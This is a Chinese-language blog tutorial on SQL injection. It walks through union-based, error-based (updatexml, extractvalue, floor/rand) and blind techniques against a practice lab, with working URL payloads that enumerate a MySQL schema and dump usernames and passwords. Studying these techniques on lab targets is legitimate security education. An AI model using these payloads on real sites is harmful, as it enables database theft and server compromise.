sql注入
一、sql注入概述
SQL注入是Web层面最高危的漏洞之一,常年占据owasp排行榜前十的位置。
sql注入有一款非常好用的注入工具,叫做:sqlmap。有兴趣可以前往学习:web安全-sqlmap的使用
1、什么是sql注入
它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。
2、sql注入出现的原因
SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。
也是由于程序员水平参差不齐,导致很多垃圾代码产生,加上没有任何安全意识,导致sql注入等问题到处存在。
二、sql注入危害
1、注入管理员账户密码,如果加密较弱,可以直接破解,登陆后台。
2、注入root等mysql管理员账户密码,利用sqlmap等工具上传后门。
3、通过注入可以轻松拖下用户信息,导致用户信息泄漏。
3、sql注入造成个webshell后门上传,整个网站服务器都会沦陷
三、sql注入类型
根据注入的反馈信息,我们大抵可以将sql注入类型分为以下几种:
本文中主要介绍:联合查询、报错注入、盲注。以及开源网站所存在的漏洞复现。
四、sql注入演示
0、注入前须知
我们必须明白口口声声念叨的sql注入,到底是在干嘛!目的是什么!!
首先我们注入是为了得到管理员账号密码,其次sql注入是对数据库进行的操作,因此要求我们对数据库要有一定的了解。有需要的小伙伴可以前往博客:web安全-mysql基础进行简单学习。
这里我们简单介绍一下数据库的构造,以mysql为例。
在数据库管理系统中默认有一个名为:information_schema的数据库;如下:
在这个数据库中,有一张表叫做:tables,它记录了整个数据库管理系统的信息,如下:
那么这张表有什么神奇之处呢?它有一列叫:table_schema,这一列记录了数据库管理系统的所有数据库的库名;它还有一列叫table_name,这一列记录了数据库管理系统所有数据库的表名;如下所示:
因此,我们的目的是找到管理员的账号密码。我们的操作过程就应该是:数据库管理系统中有一个数据库(information_schema),数据库中有一个表(tables)记录着所有数据库的各种信息,表里面有其中两个列(table_schema,table_name);所以先找到数据库、查这个数据库的所有表名、再查管理员表的所有列名,最后爆出数据获取用户名密码。
总结一下:SQL注入总共分为四步:1、找库;2、找表;3、找列;4、出数据。
那接下来就让我们进入演环节!!!我们的演示以靶机第二关为目标,使用不同的手段进行注入。
需要靶机或者下文中的开源网站包的小伙伴请点击自取进行学习:sql工具包
1、联合查询
union,它用于连接两个以上的 SELECT 语句的结果组合到一个结果集合中。多个 SELECT 语句会删除重复的数据,由于我们的显示位只有一行,所以我们传参为:id=-1,使前面的查询为空,这样显示位显示的就是我们恶意语句的查询结果。
尤其需要注意的是select之后的查询数量需要和表的列数量对应!
数据库名
Payload:?id=-1 union select 1,2,database()--+
结果展示:
表名
Payload:?id=-1 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security')--+
结果展示:
列名
Payload:?id=-1 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security')--+
结果展示:
数据
Payload:?id=-1 union select 1,2,(select group_concat(username,'/',password) from users)--+
结果展示:
2、报错注入
(1)updatexml(1,1,1)
updatexml报错注入需要传三个参数,废话不多,展示!!
数据库名
Payload:?id=1 and updatexml(1,concat(0x7e,database(),0x7e),1)--+
结果展示:
表名
Payload:?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+
结果展示:
列名
Payload:?id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e),1)--+
结果展示:
数据
Payload:?id=1 and updatexml(1,concat(0x7e,(select group_concat(username,'/',password) from users),0x7e),1)--+
结果展示:
(2)extractvalue(1,1)
extractvalue报错注入需要传两个参数,废话不多,展示!!
数据库名
Payload:?id=1 and extractvalue (1,concat(0x7e,database(),0x7e))--+
结果展示:
表名
Payload:?id=1 and extractvalue (1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e))--+
结果展示:
列名
Payload:?id=1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e))--+
结果展示:
数据
Payload:?id=1 and updatexml(1,concat(0x7e,(select group_concat(username,'/',password) from users),0x7e),1)--+
结果展示:
(3)floor()
floor()报错注入得多说一点,不能直接展示了。
首先是这四个关键字:count 、group by 、floor、rand。其中count 、group by就不再做过多赘述,web安全-mysql基础这篇博客中已经相对清楚地对他们进行了说明。
这里主要说明floor、rand。首先floor()是向下取整,rand()是随机生成一个在0和1之间的数,rand(0)却是一个固定的数。如图:
那么我们将这两个函数组合,就有意想不到的效果,它会出现0、1两种情况。如图:
在四个函数的配合下,利用子查询就会产生主键冲突报错。
数据库名
Payload:?id=1 and (select count( * ) from information_schema.tables group by concat(database(),floor(rand(0)*2)))--+
结果展示:
表名
单条出
Payload:?id=1 and (select count( * ) from information_schema.tables group by concat((select table_name from information_schema.tables where table_schema="security" limit 2,1),'-',floor(rand(0)*2)))--+
结果展示:
列名
单条出
Payload:?id=1 and (select count( * ) from information_schema.tables group by concat((select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 2,1),'-',floor(rand(0)*2)))--+
结果展示:
数据
单条出
Payload:?id=1 and (select count( * ) from information_schema.tables group by concat((select concat(username,':',password) from users limit 0,1),'-',floor(rand(0)*2)))--+
结果展示:
3、盲注
盲注分为时间盲注和布尔盲注,因为无回显,所以只能进行盲注。有能力可以自己写盲注脚本,也可以使用sqlmap。见博客:web安全-sqlmap的使用
五、开源网站sql注入复现
需要开源网站包的小伙伴请点击自取进行学习:[sql工具包]。(https://blog.csdn.net/weixin_45873676/article/details/113423746)
1、cmseasy
2、qibo
3、discuz